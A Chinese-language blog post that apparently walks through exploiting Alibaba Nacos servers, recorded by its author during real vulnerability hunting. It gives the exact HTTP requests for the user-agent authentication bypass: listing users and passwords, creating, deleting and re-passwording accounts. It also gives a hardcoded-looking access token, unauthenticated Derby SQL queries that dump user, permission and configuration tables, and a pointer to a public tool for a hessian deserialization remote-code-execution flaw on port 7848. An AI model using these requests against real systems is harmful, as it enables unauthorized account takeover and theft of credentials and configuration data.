赞
踩
Alibaba Nacos是阿里巴巴推出来的一个新开源项目,是一个更易于构建云原生应用的动态服务发现、配置管理和服务管理平台。致力于帮助发现、配置和管理微服务。Nacos提供了一组简单易用的特性集,可以快速实现动态服务发现、服务配置、服务元数据及流量管理。
该漏洞发生在Nacos在进行认证授权操作时,会判断请求的user-agent是否为”Nacos-Server”,如果是的话则不进行任何认证。开发者原意是用来处理一些服务端对服务端的请求。但是由于配置的过于简单,并且将协商好的user-agent设置为Nacos-Server,直接硬编码在了代码里,导致了漏洞的出现。并且利用这个未授权漏洞,攻击者可以获取到用户名密码等敏感信息。
影响版本:
Nacos <= 2.0.0-ALPHA.1
在某处漏洞挖掘过程中发现了该漏洞,于是记录一下如何利用该漏洞
1.访问出现以下界面,大概率会出现以下漏洞
在路径后面加上/nacos/v1/auth/users?pageNo=1&pageSize=9
可以获取到已有的用户名和密码,如图
更改提交方式为POST
, 访问/nacos/v1/auth/users?test111username=test111&password=123456
新建一个账号test111,可以看到创建用户成功,如图
使用该账号可以发现登录成功,如图
更改提交方式为DELETE
, 访问DELETE /nacos/v1/auth/users?username=test111
可以看到用户删除成功,如图
更改提交方式为PUT,
访问 /nacos/v1/auth/users?accessToken=&username=test111&newPassword=test222
可以看到用户密码更新成功,如图
在路径后面加上:nacos/v1/cs/configs?search=accurate&dataId=&group=&pageNo=1&pageSize=99
/nacos/v1/auth/users?accessToken=eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTY5ODg5NDcyN30.feetKmWoPnMkAebjkNnyuKo6c21_hzTgu0dfNqbdpZQ&pageNo=1&pageSize=9
config server中有个接口,没有做任何的鉴权,即可执行sql语句,可以泄漏全部数据
/nacos/v1/cs/ops/derby?sql=select%20*%20from%20users%20
查询所有表
/nacos/v1/cs/ops/derby?sql=SELECT%20*%20FROM%20SYS.SYSTABLES%20WHERE%20TABLETYPE='T'
通过测试,可以用以下的语句查询到所有数据库信息
select * from users
select * from permissions
select * from roles
select * from tenant_info
select * from tenant_capacity
select * from group_capacity
select * from config_tags_relation
select * from app_configdata_relation_pubs
select * from app_configdata_relation_subs
select * from app_list
select * from config_info_aggr
select * from config_info_tag
select * from config_info_beta
select * from his_config_info
select * from config_info
该漏洞源于 Nacos 集群处理部分 Jraft 请求时,未限制使用 hessian 进行反序列化,由于 Nacos 默认监听 7848 端口处理 Raft 协议请求,攻击者可以通过向 7848 端口发送恶意构造的数据包利用该漏洞,最终执行任意远程代码
漏洞影响产品
1.4.0 <= Alibaba Nacos < 1.4.6 使用cluster集群模式运行
2.0.0 <= Alibaba Nacos < 2.2.3 任意模式运行
访问/nacos/v1/console/server/state
查看版本是否受到影响
复现参考https://github.com/c0olw/NacosRce/
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。